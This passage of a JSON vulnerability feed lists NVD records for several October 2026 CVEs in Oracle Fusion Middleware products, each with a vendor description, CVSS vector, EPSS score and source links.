(the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91228&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91228, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91227","cveId":"CVE-2026-91227","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:23.310Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91227","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.0027,"percentile":0.18951,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91227&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91227","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91227","type":"primary","publishedAt":"2026-10-20T22:20:23.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91227&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91227, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91226","cveId":"CVE-2026-91226","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:23.177Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91226","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00345,"percentile":0.27834,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91226&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91226","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91226","type":"primary","publishedAt":"2026-10-20T22:20:23.177Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91226&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91226, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91223","cveId":"CVE-2026-91223","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:22.817Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91223","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00447,"percentile":0.38572,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91223&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91223","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91223","type":"primary","publishedAt":"2026-10-20T22:20:22.817Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91223&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91223, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91219","cveId":"CVE-2026-91219","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:22.357Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91219","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00303,"percentile":0.22773,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91219&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91219","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91219","type":"primary","publishedAt":"2026-10-20T22:20:22.357Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91219&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91219, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91217","cveId":"CVE-2026-91217","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:22.127Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91217","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00398,"percentile":0.33729,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91217&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91217","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91217","type":"primary","publishedAt":"2026-10-20T22:20:22.127Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91217&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91217, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91215","cveId":"CVE-2026-91215","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).","summary":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:21.900Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91215","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00447,"percentile":0.3857,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91215&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91215","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91215","type":"primary","publishedAt":"2026-10-20T22:20:21.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91215&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91215, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91213","cveId":"CVE-2026-91213","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: BPM Composer).","summary":"Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: BPM Composer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Process Management Suite.  Successful attacks of this vulnerability can result in takeover of Oracle Business Process Management Suite. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: BPM Composer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Process Management Suite.  Successful attacks of this vulnerability can result in takeover of Oracle Business Process Management Suite. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:21.663Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91213","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00447,"percentile":0.38567,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91213&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91213","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91213","type":"primary","publishedAt":"2026-10-20T22:20:21.663Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91213&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91213, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91212","cveId":"CVE-2026-91212","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Generic REST).","summary":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Generic REST).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Identity Manager Connector.  While the vulnerability is in Oracle Identity Manager Connector, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Generic REST).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Identity Manager Connector.  While the vulnerability is in Oracle Identity Manager Connector, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:21.547Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91212","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00303,"percentile":0.22773,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91212&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91212","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91212","type":"primary","publishedAt":"2026-10-20T22:20:21.547Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91212&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91212, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91211","cveId":"CVE-2026-91211","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Connectors and Connector Server).","summary":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Connectors and Connector Server).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows high privileged attacker with network access via SOAP to compromise Oracle Identity Manager Connector.  While the vulnerability is in Oracle Identity Manager Connector, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Connectors and Connector Server).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows high privileged attacker with network access via SOAP to compromise Oracle Identity Manager Connector.  While the vulnerability is in Oracle Identity Manager Connector, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:21.430Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91211","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00381,"percentile":0.31776,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91211&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91211","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91211","type":"primary","publishedAt":"2026-10-20T22:20:21.430Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 